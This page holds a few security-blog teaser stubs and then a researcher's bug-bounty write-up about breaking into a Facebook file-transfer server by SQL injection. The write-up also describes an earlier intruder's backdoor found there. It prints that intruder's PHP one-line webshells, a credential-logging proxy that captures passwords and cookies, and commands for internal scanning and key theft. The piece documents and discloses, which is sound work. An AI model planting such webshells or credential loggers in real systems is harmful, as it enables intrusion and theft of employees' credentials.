Large sports leagues are no strangers to the spotlight, and basketball is no different. The latest scandal? Last week, a...
The post What We Can Take Away from the Milwaukee Bucks Data Breach appeared first on McAfee Blog.
This week, a cybercriminal group going by the moniker “Peace” made headlines across the Internet. Peace didn’t do anything special....
The post Old Breach Revisited: Cybercriminal Sells 117 Million LinkedIn Credentials appeared first on McAfee Blog.
Our passwords hold the keys to our digital lives. We use them to access bank accounts, medical records, private conversations...
The post It’s World Password Day! Time to Beef Up Your Password Security appeared first on McAfee Blog.
This blog was written by Bruce Snell. Every year Verizon releases their Data Breach Investigations Report (DBIR), sharing a wealth...
The post Why Is the Verizon Data Breach Investigations Report Important to Me? appeared first on McAfee Blog.
by Orange Tsai
How I Hacked Facebook, and Found Someone’s Backdoor Script (English Version)
滲透 Facebook 的思路與發現 (中文版本)
As a pentester, I love server-side vulnerabilities more than client-side ones. Why? Because it’s way much cooler to take over the server directly and gain system SHELL privileges. <(￣︶￣)>
Of course, both vulnerabilities from the server-side and the client-side are indispensable in a perfect penetration test. Sometimes, in order to take over the server more elegantly, it also need some client-side vulnerabilities to do the trick. But speaking of finding vulnerabilities, I prefer to find server-side vulnerabilities first.
With the growing popularity of Facebook around the world, I’ve always been interested in testing the security of Facebook. Luckily, in 2012, Facebook launched the Bug Bounty Program, which even motivated me to give it a shot.
From a pentester’s view, I tend to start from recon and do some research. First, I’ll determine how large is the “territory” of the company on the internet, then…try to find a nice entrance to get in, for example:
Of course, Bug Bounty is nothing about firing random attacks without restrictions. By comparing your findings with the permitted actions set forth by Bug Bounty, the overlapping part will be the part worth trying.
Here I’d like to explain some common security problems found in large corporations during pentesting by giving an example.
For sure, when looking for the vulnerabilities on Facebook, I followed the thinking of the penetration tests which I was used to. When I was doing some recon and research, not only did I look up the domain names of Facebook itself, but also tried Reverse Whois. And to my surprise, I found an INTERESTING domain name:
tfbnw.netTFBNW seemed to stand for “TheFacebook Network”
Then I found bellow server through public data
WOW. When I accessed vpn.tfbnw.net there’s the Juniper SSL VPN login interface. But its version seemed to be quite new and there was no vulnerability can be directly exploited…nevertheless, it brought up the beginning of the following story.
It looked like TFBNW was an internal domain name for Facebook. Let’s try to enumerate the C Class IPs of vpn.tfbnw.net and found some interesting servers, for example:
From the info of these servers, I thought that these C Class IPs were relatively important for Facebook. Now, the whole story officially starts here.
Vulnerability DiscoveryI found a special server among these C Class IPs.
files.fb.com↑ Login Interface of files.fb.com
Judging from the LOGO and Footer, this seems to be Accellion’s Secure File Transfer (hereafter known as FTA)
FTA is a product which enables secure file transfer, online file sharing and syncing, as well as integration with Single Sign-on mechanisms including AD, LDAP and Kerberos. The Enterprise version even supports SSL VPN service.
Upon seeing this, the first thing I did was searching for publicized exploits on the internet. The latest one was found by HD Moore and made public on this Rapid7’s Advisory
Whether this vulnerability is exploitable can be determined by the version information leaked from “/tws/getStatus”. At the time I discovered files.fb.com the defective v0.18 has already been updated to v0.20. But from the fragments of source code mentioned in the Advisory, I felt that with such coding style there should still be security issues remained in FTA if I kept looking. Therefore, I began to look for 0-Day vulnerabilities on FTA products!
Actually, from black-box testing, I didn’t find any possible vulnerabilities, and I had to try white-box testing. After gathering the source codes of previous versions FTA from several resources I could finally proceed with my research!
The FTA Product
First I tried to decrypt IonCube encryption. In order to avoid being reviewed by the hackers, a lot of network equipment vendors will encrypt their product source codes. Fortunately, the IonCube version used by FTA was not up to date and could be decrypted with ready-made tools. But I still had to fix some details, or it’s gonna be messy…
After a simple review, I thought Rapid7 should have already got the easier vulnerabilities. T^T
And the vulnerabilities which needed to be triggered were not easy to exploit. Therefore I need to look deeper!
Finally, I found 7 vulnerabilities, including
Apart from reporting to Facebook Security Team, other vulnerabilities were submitted to Accellion Support Team in Advisory for their reference. After vendor patched, I also sent these to CERT/CC and they assigned 4 CVEs for these vulnerabilities.
More details will be published after full disclosure policy!
↑ Using Pre-Auth SQL Injection to Write Webshell
After taking control of the server successfully, the first thing is to check whether the server environment is friendly to you. To stay on the server longer, you have to be familiar with the environments, restrictions, logs, etc and try hard not to be detected. :P
There are some restrictions on the server:
Although the outbound connection was not available, but it looked like ICMP Tunnel was working. Nevertheless, this was only a Bug Bounty Program, we could simply control the server with a webshell.
Was There Something Strange?While collecting vulnerability details and evidences for reporting to Facebook, I found some strange things on web log.
First of all I found some strange PHP error messages in “/var/opt/apache/php_error_log”
These error messages seemed to be caused by modifying codes online?
↑ PHP error log
I followed the PHP paths in error messages and ended up with discovering suspicious WEBSHELL files left by previous “visitors”.
↑ Webshell on facebook server
some contents of the files are as follows:
sshpass
Right, THAT sshpass bN3d10Aw.php <?php echo shell_exec($_GET['c']); ?> uploader.php <?php move_uploaded_file($_FILES["f]["tmp_name"], basename($_FILES["f"]["name"])); ?> d.php <?php include_oncce("/home/seos/courier/remote.inc"); echo decrypt($_GET["c"]); ?> sclient\_user\_class\_standard.inc <?php include_once('sclient_user_class_standard.inc.orig'); $fp = fopen("/home/seos/courier/B3dKe9sQaa0L.log", "a"); $retries = 0; $max_retries = 100; // blah blah blah... fwrite($fp, date("Y-m-d H:i:s T") . ";" . $_SERVER["REMOTE_ADDR"] . ";" . $_SERVER["HTTP_USER_AGENT"] . ";POST=" . http_build_query($_POST) . ";GET=" . http_build_query($_GET) . ";COOKIE=" . http_build_query($_COOKIE) . "\n"); // blah blah blah...The first few ones were typical PHP one-line backdoor and there’s one exception: “sclient_user_class_standard.inc”
In include_once “sclient_user_class_standard.inc.orig” was the original PHP app for password verification, and the hacker created a proxy in between to log GET, POST, COOKIE values while some important operations were under way.
A brief summary, the hacker created a proxy on the credential page to log the credentials of Facebook employees. These logged passwords were stored under web directory for the hacker to use WGET every once in a while
wget https://files.fb.com/courier/B3dKe9sQaa0L.log
↑ Logged passwords
From this info we can see that apart from the logged credentials there were also contents of letters requesting files from FTA, and these logged credentials were rotated regularly (this will be mentioned later, that’s kinda cheap…XD)
And at the time I discovered these, there were around 300 logged credentials dated between February 1st to 7th, from February 1st, mostly “@fb.com” and “@facebook.com”. Upon seeing it I thought it’s a pretty serious security incident. In FTA, there were mainly two modes for user login
I believe these logged credentials were real passwords and I GUESS they can access to services such as Mail OWA, VPN for advanced penetration…
In addition, this hacker might be careless:P
From access.log, every few days the hacker will clear all the credentials he logged
Packing files
cat tmp_list3_2 | while read line; do cp /home/filex2/1000/$line files; done 2>/dev/stdout tar -czvf files.tar.gz filesEnumerating internal network architecture
dig a archibus.thefacebook.com telnet archibus.facebook.com 80 curl http://archibus.thefacebook.com/spaceview_facebook/locator/room.php dig a records.fb.com telnet records.fb.com 80 telnet records.fb.com 443 wget -O- -q http://192.168.41.16 dig a acme.facebook.com ./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'for i in $(seq 201 1 255); do for j in $(seq 0 1 255); do echo "192.168.$i.$j:`dig +short ptr $j.$i.168.192.in-addr.arpa`"; done; done' 2>/dev/stdout ...Use ShellScript to scan internal network but forgot to redirect STDERR XD
Attempt to connect internal LDAP server
sh: -c: line 0: syntax error near unexpected token `(' sh: -c: line 0: `ldapsearch -v -x -H ldaps://ldap.thefacebook.com -b CN=svc-accellion,OU=Service Accounts,DC=thefacebook,DC=com -w '********' -s base (objectclass=*) 2>/dev/stdout'Attempt to access internal server
(Looked like Mail OWA could be accessed directly…)
Attempt to steal SSL Private Key
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied ls: /etc/opt/apache/ssl.key/server.key: No such file or directory mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied base64: invalid inputAfter checking the browser, the SSL certificate of files.fb.com was *.fb.com …
EpilogueAfter adequate proofs had been collected, they were immediately reported to Facebook Security Team. Other than vulnerability details accompanying logs, screenshots and timelines were also submitted xD
Also, from the log on the server, there were two periods that the system was obviously operated by the hacker, one in the beginning of July and one in mid-September
the July one seemed to be a server “dorking” and the September one seemed more vicious. Other than server “dorking” keyloggers were also implemented. As for the identities of these two hackers, were they the same person? Your guess is as good as mine. :P
The time July incident happened to take place right before the announcement of CVE-2015-2857 exploit. Whether it was an invasion of 1-day exploitation or unknown 0-day ones were left in question.
Here’s the end of the story, and, generally speaking, it was a rather interesting experience xD
Thanks to this event, it inspired me to write some articles about penetration :P
Last but not least, I would like to thank Bug Bounty and tolerant Facebook Security Team so that I could fully write down this incident : )